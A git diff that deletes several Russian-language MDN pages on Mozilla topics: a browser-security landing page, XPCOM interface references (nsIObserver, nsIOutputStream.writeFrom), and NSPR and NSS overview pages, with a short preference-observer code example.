-title: Безопасность браузера
-slug: Mozilla/Безопасность
-tags:
- - Firefox
- - Безопасность
- - Разработка
-translation_of: Mozilla/Security
----
-<p><span class="seoSummary">Важный часть программирования для любого браузера, и Firefox не исключение, а также любого другого веб-проекта, это его безопасность. Статьи далее содержат справочники и руководства, как сделать Ваш код безопасным, и приводят множество рекомендаций по дизайну и тестированию проекта.</span></p>
-
-<p>{{LandingPageListSubpages}}</p>
-
-<section id="Quick_Links">
-<ol>
- <li><a href="http://www.mozilla.org/security/bug-bounty.html" title="We appreciate all bug reports, but we back up our appreciation of reports of severe security problems with a $3000 reward!">Bug bounty program</a></li>
- <li><a href="http://www.mozilla.org/projects/security/known-vulnerabilities.html" title="Learn from our past mistakes.">Known vulnerabilities and fixes in Mozilla</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Security">Debugging and testing</a>
- <ol>
- <li>{{Link("/en-US/docs/Clang_Static_Analysis")}}</li>
- <li>{{Link("/en-US/docs/Debugging_Mozilla_with_Valgrind")}}</li>
- <li>{{Link("/en-US/docs/Mozilla/Testing/Firefox_and_Address_Sanitizer")}}</li>
- <li>{{Link("/en-US/docs/Mozilla/QA/Fuzzing")}}</li>
- </ol>
- </li>
- <li>{{Link("/en-US/docs/Mozilla/Developer_guide")}}</li>
- <li>{{Link("/en-US/docs/Web/Security")}}</li>
-</ol>
-</section>
diff --git a/files/ru/new_compatibility_tables_beta/index.html b/files/ru/new_compatibility_tables_beta/index.html
deleted file mode 100644
index a1aba8a14e..0000000000
--- a/files/ru/new_compatibility_tables_beta/index.html
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: Новые таблицы совместимости(бета)
-slug: New_Compatibility_Tables_Beta
-translation_of: Archive/MDN/New_Compatibility_Tables_Beta
----
-<p>Возможно вы оказались на этой странице кликнув ссылку о бета статусе наших новых таблиц совместимости (Нет? Хотите увидеть новые таблицы? <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Be_a_beta_tester">Станьте сами бета-тестером</a>.)</p>
-
-<p>Спасибо за вашу помощь  в тестировании. Это часть намного большего проекта. Мы мигрируем наши данные о совместимости браузеров в <a href="https://github.com/mdn/browser-compat-data">новый, структурированный JSON</a>.</p>
-
-<p>Новые таблицы будут доступны на страницах после того как данные будут конвертированы в новый формат</p>
-
-<h2 id="Редактирование">Редактирование</h2>
-
-<p>Наши данные о совместимости были перемещены в файлы JSON формата в <a href="https://github.com/mdn/browser-compat-data"> browser-compat-data репозитории GitHub</a>.</p>
-
-<p>Теперь, для того чтобы внести свой вклад, просто пошлите свой запрос на изменение(pull request) или отправьте отчет(issue) в репозитории.</p>
-
-<h2 id="Как_помочь">Как помочь</h2>
-
-<p>Если вы обнаружили какие-либо проблемы с данными  создайте новый отчет в<a href="https://github.com/mdn/browser-compat-data"> GitHub </a>репозитории.</p>
-
-<p>Если что-то неверно с отображением таблиц пожалуйста нажмите кнопку "<strong>Сообщить об ошибке</strong>" в выпадающем меню над таблицей.</p>
-
-<p>Мы также были бы признательны вам если вы сможете потратить немного времени, приняв участие в <a class="external external-icon" href="http://www.surveygizmo.com/s3/2342437/0b5ff6b6b8f6">нашем опросе</a>.</p>
diff --git a/files/ru/nsiobserver/index.html b/files/ru/nsiobserver/index.html
deleted file mode 100644
index 75da303f26..0000000000
--- a/files/ru/nsiobserver/index.html
+++ /dev/null
@@ -1,68 +0,0 @@
----
-title: nsIObserver
-slug: nsIObserver
-tags:
- - Интерфейсы
- - 'Интерфейсы:Frozen'
- - Справочник_XPCOM_API
-translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIObserver
----
-<p>« <a href="/ru/docs/%d0%a1%d0%bf%d1%80%d0%b0%d0%b2%d0%be%d1%87%d0%bd%d0%b8%d0%ba_XPCOM_API">Справочник XPCOM API</a></p>
-<h3 id=".D0.9A.D1.80.D0.B0.D1.82.D0.BA.D0.BE.D0.B5_.D0.BE.D0.BF.D0.B8.D1.81.D0.B0.D0.BD.D0.B8.D0.B5" name=".D0.9A.D1.80.D0.B0.D1.82.D0.BA.D0.BE.D0.B5_.D0.BE.D0.BF.D0.B8.D1.81.D0.B0.D0.BD.D0.B8.D0.B5">Краткое описание</h3>
-<p><code>nsIObserver</code> обеспечивает объекту возможность принимать сообщения. Такие сообщения обычно (но не всегда) рассылаются с помощью интерфейса <a href="ru/NsIObserverService">nsIObserverService</a>.</p>
-<p></p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
-<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/xpcom/ds/nsIObserver.idl" rel="custom">xpcom/ds/nsIObserver.idl</a></code><span style="text-align: right; float: right;"><a href="/ru/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">Со скриптами</a></span></div>
-<span style="padding: 4px 2px;">
-
-<i>Please add a summary to this article.</i>
-</span>
-
-<div style="background: #eee; padding: 2px;">
-<span> </span>
-<span style="text-align: right; float: right;">Последнее изменение в Gecko 0.9.6 </span></div>
-</div><p></p>
-<h3 id=".D0.9A.D0.BE.D0.B4_.D0.B8.D0.BD.D1.82.D0.B5.D1.80.D1.84.D0.B5.D0.B9.D1.81.D0.B0" name=".D0.9A.D0.BE.D0.B4_.D0.B8.D0.BD.D1.82.D0.B5.D1.80.D1.84.D0.B5.D0.B9.D1.81.D0.B0">Код интерфейса</h3>
-<pre>[scriptable, uuid(DB242E01-E4D9-11d2-9DDE-000064657374)]
-interface nsIObserver : nsISupports
-{
- void observe( in nsISupports aSubject,
- in string aTopic,
- in wstring aData );
-};
-</pre>
-<h3 id=".D0.9C.D0.B5.D1.82.D0.BE.D0.B4.D1.8B" name=".D0.9C.D0.B5.D1.82.D0.BE.D0.B4.D1.8B">Методы</h3>
-<h4 id="observe" name="observe">observe</h4>
-<pre>void observe( in nsISupports aSubject,
- in string aTopic,
- in wstring aData );
-</pre>
-<p>Метод <code>observe</code> вызывается тогда, когда приходит сообщение на ту тему, для прослушивания которой объект был зарегистрирован.</p>
-<p>Обычно, в <code>aSubject</code> содержится объект, в результате изменения или другого действия над которым было создано полученное сообщение. Параметр <code>aTopic</code> определяет тип действия или изменения. А необязательный параметр <code>aData</code> и другие данные дополняют информацию о совершенном действии или изменении.</p>
-<p>Конкретные значения, а так же смысл переданных параметров бывают разными, в зависимости от того где был зарегистрирован приемник и какая тема прослушивается.</p>
-<p>Конкретный пример использования интерфейса <code>nsIObserver</code> может быть настроен на получение множества типов сообщений, и может вести себя по-разному в зависимости от переданных параметров. Чаще всего, основной параметр для выбора дальнейших действий — это <code>aTopic</code>, и в коде надо учитывать, что метод может быть вызван с неизвестным на момент написания значением параметра <code>aTopic</code>.</p>
-<p>Так как система, обслуживающая прием сообщений, может вызывать конкретный приемник в разных контекстах, настоятельно рекомендуется не добавлять и не удалять приеники непосредственно в момент вызова метода <code>observe</code>.</p>
-<h3 id=".D0.A1.D0.B2.D1.8F.D0.B7.D0.B0.D0.BD.D0.BD.D1.8B.D0.B5_.D0.B8.D0.BD.D1.82.D0.B5.D1.80.D1.84.D0.B5.D0.B9.D1.81.D1.8B" name=".D0.A1.D0.B2.D1.8F.D0.B7.D0.B0.D0.BD.D0.BD.D1.8B.D0.B5_.D0.B8.D0.BD.D1.82.D0.B5.D1.80.D1.84.D0.B5.D0.B9.D1.81.D1.8B">Связанные интерфейсы</h3>
-<p><a href="ru/NsIObserverService">nsIObserverService</a></p>
-<h3 id=".D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80_.D0.BA.D0.BE.D0.B4.D0.B0" name=".D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80_.D0.BA.D0.BE.D0.B4.D0.B0">Пример кода</h3>
-<p>Следующий пример демонстрирует применение интерфейса <code>nsIObserver</code>, который позволяет зарегистрировать объект в системе пользовательских настроек для получения сообщений об изменении каких-либо значений (полный код примера и дополнительную информацию о системе настроек см. на странице <a class="external" href="http://kb.mozillazine.org/Dev_:_Using_preferences#Using_preferences_observers">Использование настроек</a> из MozillaZine).</p>
-<pre>var prefObserver = {
- // nsIObserver
- observe: function (aSubject, aTopic, aData) {
- if (aTopic == "nsPref:changed") { // observe preference changes
- // aData contains the name of the changed preference
- dump(aData+" changed!");
- }
- },
-
- QueryInterface: function(aIID) {
- if(!aIID.equals(CI.nsISupports) &amp;&amp; !aIID.equals(CI.nsIObserver))
- throw CR.NS_ERROR_NO_INTERFACE;
- return this;
- }
-};
-</pre>
-<h3 id=".D0.A1.D0.BC._.D1.82.D0.B0.D0.BA.D0.B6.D0.B5" name=".D0.A1.D0.BC._.D1.82.D0.B0.D0.BA.D0.B6.D0.B5">См. также</h3>
-<ul>
- <li><a class="external" href="http://kb.mozillazine.org/Using_observers">Применение приемников</a>.</li>
-</ul>
-<p></p>
diff --git a/files/ru/nsioutputstream/index.html b/files/ru/nsioutputstream/index.html
deleted file mode 100644
index 7a37b3158e..0000000000
--- a/files/ru/nsioutputstream/index.html
+++ /dev/null
@@ -1,6 +0,0 @@
----
-title: nsIOutputStream
-slug: nsIOutputStream
-translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIOutputStream
----
-<p>This page was auto-generated because a user created a sub-page to this page.</p>
diff --git a/files/ru/nsioutputstream/writefrom/index.html b/files/ru/nsioutputstream/writefrom/index.html
deleted file mode 100644
index 5c8ec79f8f..0000000000
--- a/files/ru/nsioutputstream/writefrom/index.html
+++ /dev/null
@@ -1,49 +0,0 @@
----
-title: writeFrom
-slug: nsIOutputStream/writeFrom
-tags:
- - Справочник_XPCOM_API
-translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIOutputStream/writeFrom
----
-<p>« <a href="/ru/docs/%d0%a1%d0%bf%d1%80%d0%b0%d0%b2%d0%be%d1%87%d0%bd%d0%b8%d0%ba_XPCOM_API">Справочник XPCOM API</a></p>
-<h3 id="Summary" name="Summary">Summary</h3>
-<p>Этот метод копирует данные из <code><a href="ru/NsIInputStream">nsIInputStream</a></code> в <code>nsIOutputStream</code>.</p>
-<pre class="eval"> unsigned long writeFrom(
- in nsIInputStream aSource,
- in unsigned long aCount
- );
-</pre>
-<h3 id=".D0.9F.D0.B0.D1.80.D0.B0.D0.BC.D0.B5.D1.82.D1.80.D1.8B" name=".D0.9F.D0.B0.D1.80.D0.B0.D0.BC.D0.B5.D1.82.D1.80.D1.8B">Параметры</h3>
-<dl>
- <dt>
- aSource</dt>
- <dd>
- [in] An nsIInputStream containing the data to be written.</dd>
- <dt>
- aCount</dt>
- <dd>
- [in] The maximum number of bytes to write to the stream.</dd>
-</dl>
-<h3 id=".D0.92.D0.BE.D0.B7.D0.B2.D1.80.D0.B0.D1.89.D0.B0.D0.B5.D0.BC.D1.8B.D0.B5_.D0.B7.D0.BD.D0.B0.D1.87.D0.B5.D0.BD.D0.B8.D1.8F" name=".D0.92.D0.BE.D0.B7.D0.B2.D1.80.D0.B0.D1.89.D0.B0.D0.B5.D0.BC.D1.8B.D0.B5_.D0.B7.D0.BD.D0.B0.D1.87.D0.B5.D0.BD.D0.B8.D1.8F">Возвращаемые значения</h3>
-<p>Этот метод возвращает количество байт, записанных в поток.</p>
-<h3 id="Exceptions_Thrown" name="Exceptions_Thrown">Exceptions Thrown</h3>
-<dl>
- <dt>
- NS_BASE_STREAM_WOULD_BLOCK</dt>
- <dd>
- Indicates that writing to the output stream would block the calling thread for an indeterminate amount of time. This exception may only be thrown if <code><a href="ru/NsIOutputStream/isNonBlocking">isNonBlocking</a></code> returns true.</dd>
- <dt>
- NS_ERROR_NOT_IMPLEMENTED</dt>
- <dd>
- Indicates that the stream does not implement this method. Typically, output streams that do not have an internal buffer will not implement this method since such an implementation would require an intermediate buffer unless aSource supported <code><a href="ru/NsIInputStream/readSegments">nsIInputStream::readSegments</a></code>, but that is not guaranteed.</dd>
-</dl>
-<h3 id="Remarks" name="Remarks">Remarks</h3>
-<p>A <code>nsIOutputStream</code> is not required to implement this method. In some contexts, <code>writeFrom</code> may be guaranteed to be implemented, but in general it is not. This method serves as an optimization.</p>
-<h3 id=".D0.A1.D0.BC._.D1.82.D0.B0.D0.BA.D0.B6.D0.B5" name=".D0.A1.D0.BC._.D1.82.D0.B0.D0.BA.D0.B6.D0.B5">См. также</h3>
-<ul>
- <li><code><a href="ru/NsIOutputStream/isNonBlocking">nsIOutputStream::isNonBlocking</a></code></li>
- <li><code><a href="ru/NsIInputStream">nsIInputStream</a></code></li>
- <li><code><a href="ru/NsIOutputStream">nsIOutputStream</a></code></li>
- <li><code><a href="ru/NsIInputStream/readSegments">nsIInputStream::readSegments</a></code></li>
-</ul>
-<p></p>
diff --git a/files/ru/nspr/index.html b/files/ru/nspr/index.html
deleted file mode 100644
index 19c418617a..0000000000
--- a/files/ru/nspr/index.html
+++ /dev/null
@@ -1,69 +0,0 @@
----
-title: NSPR
-slug: NSPR
-tags:
- - NSPR
-translation_of: Mozilla/Projects/NSPR
----
-<p><strong>Netscape Portable Runtime (NSPR)</strong> — платформо-нейтральный API для функций системного уровня и libc-подобных. API используется в клиентах Mozilla, многих серверных приложениях Red Hat и Sun, а также другом ПО.</p>
-
-<h2 id="Getting_NSPR">Getting NSPR</h2>
-
-<p>NSPR is available in various source and binary packages, depending on your platform:</p>
-
-<ul>
- <li><strong>Windows:</strong> Build the source package, using the <a href="/ru/docs/NSPR_build_instructions" title="NSPR_build_instructions">NSPR build instructions</a>.</li>
- <li><strong>Mac:</strong> Install the <a href="http://www.macports.org/" title="http://www.macports.org/">MacPorts</a> <em>nspr</em> package, or the <a href="http://brew.sh" title="http://brew.sh">Homebrew</a> <em>nspr</em> package.</li>
- <li><strong>Ubuntu:</strong> Install the <em>libnspr4-dev</em> package via <code>apt-get.</code></li>
- <li><strong>Debian:</strong> Install the <em>libnspr4-dev</em> package via <code>apt-get</code>.</li>
- <li><strong>openSUSE Linux:</strong> Install one or more of the following via <code>yast</code> or <code>zypper</code> :
- <ul>
- <li><em>mozilla-nspr</em> : Binary libraries for your platform</li>
- <li><em>mozilla-nspr-32bit</em> : Binary libraries needed to run 32-bit programs on a 64-bit OS</li>
- <li><em>mozilla-nspr-devel</em> : Files needed (in addition to the above libraries) to compile programs using NSPR</li>
- <li><em>mozilla-nspr-debuginfo</em> : Debug information (including build symbols) for package <em>mozilla-nspr</em></li>
- <li><em>mozilla-nspr-debuginfo-32bit</em> : Debug information (including build symbols) for package <em>mozilla-nspr-32bit</em></li>
- <li><em>mozilla-nspr-debugsource</em> : Debug sources for all of the above</li>
- </ul>
- </li>
-</ul>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h2 class="Documentation" id="Documentation" name="Documentation">Документация</h2>
-
- <dl>
- <dt><a href="/ru/docs/NSPR/About_NSPR" title="NSPR/About_NSPR">About NSPR</a></dt>
- <dd><small>This topic describes, in general terms, the goals of NSPR and a bit about how it does it.</small></dd>
- <dt><a href="/ru/docs/NSPR_API_Reference" title="NSPR_API_Reference">NSPR API Reference</a></dt>
- <dd><small>The reference describes each API public macro, structure and function in the NSPR API.</small></dd>
- <dt><a href="/ru/docs/NSPR_build_instructions" title="NSPR_build_instructions">NSPR build instructions</a></dt>
- <dd><small>How to checkout and build from source.</small></dd>
- <dt><a href="/ru/docs/NSPR_release_process" title="NSPR_release_process">NSPR release process</a></dt>
- <dd><small>How to prepare an NSPR release.</small></dd>
- <dt><a href="http://viewvc.svn.mozilla.org/vc/projects/mozilla.org/trunk/projects/nspr/" title="http://viewvc.svn.mozilla.org/vc/projects/mozilla.org/trunk/projects/nspr/">Legacy NSPR Content</a></dt>
- <dd><small>Older NSPR content is available in SVN for browsing and/or migration to this site</small></dd>
- </dl>
-
- <p><span class="alllinks"><a href="/ru/docs/tag/NSPR" title="tag/NSPR">View All...</a></span></p>
- </td>
- <td>
- <h2 class="Community" id="Community" name="Community">Сообщество</h2>
-
- <ul>
- <li>View Mozilla forums...</li>
- </ul>
-
- <p>{{DiscussionList("dev-tech-nspr", "mozilla.dev.tech.nspr")}}</p>
-
- <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Связанные темы</h2>
-
- <ul>
- <li><a href="/ru/docs/Necko" title="Necko">Necko</a>, <a href="/ru/docs/NSS" title="NSS">NSS</a></li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
diff --git a/files/ru/nss/index.html b/files/ru/nss/index.html
deleted file mode 100644
index daf6d6c569..0000000000
--- a/files/ru/nss/index.html
+++ /dev/null
@@ -1,180 +0,0 @@
----
-title: Network Security Services
-slug: NSS
-translation_of: Mozilla/Projects/NSS
----
-<p><strong>Network Security Services</strong> (<strong>NSS</strong>) это набор библиотек, разработанных для поддержки кросс-платформенной разработки защищенных клиентских и серверных приложений. Приложения построенные с использование NSS могут использовать SSL v2 и v3, TLS, PKCS #5, PKCS #7, PKCS #11, PKCS #12, S/MIME, сертификаты X.509 v3 и другие стандарты обеспечения безопасности.</p>
-<p>Подробные сведения о поддерживаеых стандартах смотри в статье <a href="/en-US/docs/Overview_of_NSS" title="Overview_of_NSS">Обзор</a>. Часто задавые вопросы можно найти в  <a href="/en-US/docs/NSS_FAQ" title="NSS_FAQ">FAQ</a>.</p>
-<p>NSS доступна по лицензии Mozilla Public License. За информацей о получении релизов NSS в виде tar-файлов, обратитесь к статье <a href="https://developer.mozilla.org/en-US/docs/NSS_Sources_Building_Testing">Download PKI Source</a>.</p>
-<p>Если вы программист и хотите внести свой вклад в NSS, Вам стоит прочитать <a href="/en-US/docs/An_overview_of_NSS_Internals" title="/en-US/docs/An_overview_of_NSS_Internals">highlevel overview of internal details of NSS</a> и <a href="/en-US/docs/Getting_Started_With_NSS" title="/en-US/docs/Getting_Started_With_NSS">getting started with NSS</a>.</p>
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h2 class="Documentation" id="Documentation" name="Documentation">Документация</h2>
- <h3 id="Общая_информация">Общая информация</h3>
- <dl>
- <dt>
- <a href="Overview_of_NSS">Обзор NSS</a></dt>
- <dd>
- Provides a brief summary of NSS and its capabilities.</dd>
- <dt>
- <a href="NSS_FAQ">Часто задаваемые вопросы о NSS</a></dt>
- <dd>
- Answers basic questions about NSS.</dd>
- <dt>
- <a href="Introduction_to_Public-Key_Cryptography">Введение в криптографию на основе публичных ключей</a></dt>
- <dd>
- Explains the basic concepts of public-key cryptography that underlie NSS.</dd>
- <dt>
- <a href="Introduction_to_SSL">Введение в SSL</a></dt>
- <dd>
- Introduces the SSL protocol, including information about cryptographic ciphers supported by SSL and the steps involved in the SSL handshake.</dd>
- </dl>
- <h3 id="С_чего_начать">С чего начать</h3>
- <dl>
- <dt>
- <a href="/en-US/docs/NSS/NSS_Releases" title="NSS_releases">NSS Releases</a></dt>
- <dd>
- This page contains information about the current and past releases of NSS.</dd>
- <dt>
- <a href="NSS_Sources_Building_Testing">Получение исходного код и сборка</a></dt>
- <dd>
- Instructions on how to build NSS on the different supported platforms.</dd>
- <dt>
- <a href="Developer_Guide/Source_Code/Mercurial">Get Mozilla Source Code Using Mercurial</a></dt>
- <dd>
- Information about with working with Mercurial.</dd>
- <dt>
- <a href="Mozilla_Source_Code_Via_CVS">Get Mozilla Source Code Using CVS (deprecated)</a></dt>
- <dd>
- Old deprecated CVS documentation.</dd>
- </dl>
- <h3 id="NSS_APIs">NSS APIs</h3>
- <dl>
- <dt>
- <a href="Introduction_to_Network_Security_Services">Introduction to Network Security Services</a></dt>
- <dd>
- Provides an overview of the NSS libraries and what you need to know to use them.</dd>
- <dt>
- <a href="NSS/SSL_functions">NSS Public Functions</a></dt>
- <dd>
- Summarizes the APIs exported by the NSS shared libraries.</dd>
- <dt>
- <a href="NSS_reference">NSS Reference</a></dt>
- <dd>
- API used to invoke SSL operations.</dd>
- <dt>
- <a href="NSS/NSS_API_GUIDELINES">NSS API Guidelines</a></dt>
- <dd>
- Explains how the libraries and code are organized, and guidelines for developing code (naming conventions, error handling, thread safety, etc.)</dd>
- <dt>
- <a href="NSS/nss_tech_notes">NSS Technical Notes</a></dt>
- <dd>
- Links to NSS technical notes, which provide latest information about new NSS features and supplementary documentation for advanced topics in programming with NSS.</dd>
- </dl>
- <h3 id="Инструментарий_тестирование_и_другие_технические_детали">Инструментарий, тестирование и другие технические детали</h3>
- <dl>
- <dt>
- <a href="NSS_Sources_Building_Testing">Build Instructions for NSS</a></dt>
- <dd>
- Describe how to check out and build NSS releases.</dd>
- <dt>
- <a href="NSS/Tools">NSS Tools</a></dt>
- <dd>
- Tools for developing, debugging, and managing applications that use NSS.</dd>
- <dt>
- <a href="NSS/NSS_Sample_Code">Sample Code</a></dt>
- <dd>
- Demonstrates how NSS can be used for cryptographic operations, certificate handling, SSL, etc.</dd>
- <dt>
- <a href="http://www-archive.mozilla.org/projects/security/pki/nss/testnss_32.html">NSS 3.2 Test Suite</a></dt>
- <dd>
- <b>Archived version.</b> Describes how to run the standard NSS tests.</dd>
- <dt>
- <a href="http://www-archive.mozilla.org/projects/security/pki/nss/performance_reports.html">NSS Performance Reports</a></dt>
- <dd>
- <b>Archived version.</b> Links to performance reports for NSS 3.2 and later releases.</dd>
- <dt>
- <a href="http://www-archive.mozilla.org/projects/security/pki/nss/nss-3.11/nss-3.11-algorithms.html">Encryption Technologies Available in NSS 3.11</a></dt>
- <dd>
- <b>Archived version.</b> Lists the cryptographic algorithms used by NSS 3.11.</dd>
- <dt>
- <a href="http://www-archive.mozilla.org/projects/security/pki/nss/loadable_certs.html">NSS 3.1 Loadable Root Certificates</a></dt>
- <dd>
- <b>Archived version.</b> Describes the scheme for loading root CA certificates.</dd>
- <dt>
- <a href="http://www-archive.mozilla.org/projects/security/pki/nss/db_formats.html">cert7.db</a></dt>
- <dd>
- <b>Archived version.</b> General format of the cert7.db database.</dd>
- </dl>
- <h3 id="PKCS_11_information">PKCS #11 information</h3>
- <ul>
- <li><a href="/en-US/docs/PKCS11" title="PKCS11">Documentation on PKCS #11 modules</a></li>
- <li><a href="en/PKCS11_Implement">Implementing PKCS #11 for NSS</a></li>
- <li><a href="/en-US/docs/PKCS11_Module_Specs" title="PKCS11_Module_Specs">The strings NSS uses to load PKCS #11 modules</a></li>
- <li><a href="en/PKCS11_FAQ">PKCS #11 FAQ</a></li>
- <li><a href="en/PKCS11_Jar_Install">Using the JAR Installation Manager to Install a PKCS #11 Cryptographic Module</a></li>
- <li><a href="http://www-archive.mozilla.org/projects/security/pki/pkcs11/">PKCS #11 Conformance Testing - Archived version</a></li>
- </ul>
- <dl>
- </dl>
- <h3 id="Корневые_сертификаты_поставляемые_с_NSS">Корневые сертификаты поставляемые с NSS</h3>
- <ul>
- <li><a href="http://www.mozilla.org/projects/security/certs/policy/">Mozilla CA certificate policy</a></li>
- <li><a href="http://www.mozilla.org/projects/security/certs/included/">List of pre-loaded CA certificates</a></li>
- </ul>
- <dl>
- </dl>
- <h3 id="NSS_основана_Netscape_Portable_Runtime_(NSPR)">NSS основана Netscape Portable Runtime (NSPR)</h3>
- <dl>
- <dt>
- <a href="NSPR">Netscape Portable Runtime</a></dt>
- <dd>
- NSPR project page.</dd>
- <dt>
- <a href="NSPR_API_Reference">NSPR Reference</a></dt>
- <dd>
- NSPR API documentation.</dd>
- </dl>
- <h3 id="Дополнительные_сведения">Дополнительные сведения</h3>
- <ul>
- <li><a href="/en-US/docs/JavaScript_crypto" title="JavaScript_crypto">Using the window.crypto object from JavaScript</a></li>
- <li><a href="/en-US/docs/HTTP_Delegation" title="HTTP_Delegation">Delegation of HTTP download for OCSP</a></li>
- <li><a href="/en-US/docs/TLS_Cipher_Suite_Discovery" title="TLS_Cipher_Suite_Discovery">TLS Cipher Suite Discovery</a></li>
- <li><a href="/en-US/docs/NSS_Certificate_Download_Specification" title="NSS_Certificate_Download_Specification">NSS Certificate Download Specification</a></li>
- <li><a href="/en-US/docs/NSS/FIPS_Mode_-_an_explanation" title="FIPS Mode - an explanation">FIPS Mode - an explanation</a></li>
- <li><a href="/en-US/docs/NSS_Key_Log_Format" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="NSS Key Log Format">Format of key log files</a></li>
- <li>View <a href="/en-US/docs/tag/NSS" title="/en-US/docs/tag/NSS">all NSS-related articles on MDC</a></li>
- </ul>
- <h3 id="Тестирование">Тестирование</h3>
- <ul>
- <li><a href="/en-US/docs/Testing_third-party_PKCS#11_modules.2Ftokens_with_NSS" title="Testing_third-party_PKCS#11_modules.2Ftokens_with_NSS">Testing third-party PKCS #11 modules/tokens with NSS</a></li>
- </ul>
- <h3 id="Планирование">Планирование</h3>
- <p>Information on NSS planning can be found at <a class="external" href="http://wiki.mozilla.org/NSS">wiki.mozilla.org</a>, including:</p>
- <ul>
- <li><a class="external" href="http://wiki.mozilla.org/FIPS_Validation">FIPS Validation</a></li>
- <li><a class="external" href="http://wiki.mozilla.org/NSS:Roadmap">NSS Roadmap page</a></li>
- <li><a href="https://fedoraproject.org/wiki/User:Mitr/NSS:DeveloperFriendliness" title="https://fedoraproject.org/wiki/User:Mitr/NSS:DeveloperFriendliness">NSS Improvement Project</a></li>
- </ul>
- </td>
- <td>
- <h2 class="Community" id="Community" name="Community">Сообщество</h2>
- <ul>
- <li>View Mozilla Security forums...</li>
- </ul>
- <p>{{ DiscussionList("dev-security", "mozilla.dev.security") }}</p>
- <ul>
- <li>View Mozilla Cryptography forums...</li>
- </ul>
- <p>{{ DiscussionList("dev-tech-crypto", "mozilla.dev.tech.crypto") }}</p>
- <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Связанные темы</h2>
- <ul>
- <li><a href="/en-US/docs/Security" title="Security">Security</a></li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-<p> </p>
diff --git a/files/ru/nss/overview/index.html b/files/ru/nss/overview/index.html
deleted file mode 100644
index d75343c327..0000000000
--- a/files/ru/nss/overview/index.html
+++ /dev/null
@@ -1,71 +0,0 @@
----
-title: Overview of NSS
-slug: NSS/Overview
-translation_of: Mozilla/Projects/NSS/Overview
----
-<h1 id="Open_Source_Crypto_Libraries">Open Source Crypto Libraries</h1>
-
-<h3 id="Proven_Application_Security_Architecture" name="Proven_Application_Security_Architecture">Proven Application Security Architecture</h3>
-
-<p>If you want add support for SSL, S/MIME, or other Internet security standards to your application, you can use Network Security Services (NSS) to implement all your security features. NSS provides a complete open-source implementation of the crypto libraries used by AOL, Red Hat, Google, and other companies in a variety of products, including the following:</p>
-
-<ul>
- <li><a class="external" href="http://www.mozilla.org/products/">Mozilla products</a>, including <a class="external" href="http://www.mozilla.com/firefox/">Firefox</a>, <a class="external" href="http://www.mozilla.com/thunderbird/">Thunderbird</a>, <a href="http://seamonkey-project.org/">SeaMonkey</a>, and <a href="https://www.mozilla.org/en-US/firefox/os/">Firefox OS</a>.</li>
- <li><a class="external" href="http://www.aim.com/">AOL Instant Messenger</a> (AIM)</li>
- <li>Open source client applications such as <a class="external" href="https://wiki.gnome.org/Apps/Evolution">Evolution</a>, <a href="http://pidgin.im/">Pidgin</a>, and <a href="http://www.openoffice.org/">Apache OpenOffice</a>.</li>
- <li>Server products from <a class="external" href="http://www.redhat.com/en/technologies">Red Hat</a>: <a class="external" href="http://www.redhat.com/en/technologies/cloud-computing/directory-server">Red Hat Directory Server</a>, <a class="external" href="http://www.redhat.com/en/technologies/cloud-computing/certificate-system">Red Hat Certificate System</a>, and the <a class="external" href="http://directory.fedoraproject.org/wiki/Mod_nss">mod_nss</a> SSL module for the Apache web server.</li>
- <li>Server products from the <a class="external" href="http://www.sun.com/software/javaenterprisesystem/index.xml">Sun Java Enterprise System</a>, including Sun Java System Web Server, Sun Java System Directory Server, Sun Java System Portal Server, Sun Java System Messaging Server, and Sun Java System Application Server.</li>
- <li><a href="https://www.suse.com/products/server/">SUSE Linux Enterprise Server</a> supports NSS and the <a class="external" href="http://directory.fedoraproject.org/wiki/Mod_nss">mod_nss</a> SSL module for the Apache web server.</li>
-</ul>
-
-<p>NSS includes a framework to which developers and OEMs can contribute patches, such as assembler code, to optimize performance on their platforms. NSS 3.x has been certified on 18 platforms.</p>
-
-<p>For more detailed information about NSS, see the <a class="external" href="NSS">NSS Project Page</a> and <a href="NSS_FAQ">NSS FAQ</a>.</p>
-
-<p>Source code for a Java interface to NSS is available in the Mozilla CVS tree. For details, see <a class="external" href="JSS">Network Security Services for Java</a>.</p>
-
-<p>NSS makes use of Netscape Portable Runtime (<a href="/en-US/docs/Mozilla/Projects/NSPR">NSPR</a>), a platform-neutral open-source API for system functions designed to facilitate cross-platform development. Like NSS, NSPR has been battle-tested in multiple products. For more information, see <a class="external" href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSPR">NSPR Project Page</a>.</p>
-
-<h3 id="Interoperability_and_Open_Standards" name="Interoperability_and_Open_Standards">Interoperability and Open Standards</h3>
-
-<p>You can use NSS to support a range of security standards in your application, including the following:</p>
-
-<ul>
- <li><a href="en/Glossary#SSL">SSL v2 and v3</a>. The Secure Sockets Layer (SSL) protocol allows mutual authentication between a client and server and the establishment of an authenticated and encrypted connection.</li>
- <li><a class="external" href="http://www.ietf.org/rfc/rfc2246.txt">TLS v1 (</a><a class="external" href="http://tools.ietf.org/html/rfc2246" title="http://tools.ietf.org/html/rfc2246">RFC 2246</a>). The Transport Layer Security (TLS) protocol from the IETF will eventually supersede SSL while remaining backward-compatible with SSL implementations.</li>
- <li><a class="external" href="http://www.rsasecurity.com/rsalabs/pkcs/pkcs-1/index.html">PKCS #1</a>. RSA standard that governs implementation of public-key cryptography based on the RSA algorithm.</li>
- <li><a class="external" href="http://www.rsasecurity.com/rsalabs/pkcs/pkcs-3/index.html">PKCS #3</a>. RSA standard that governs implementation of Diffie-Hellman key agreement.</li>
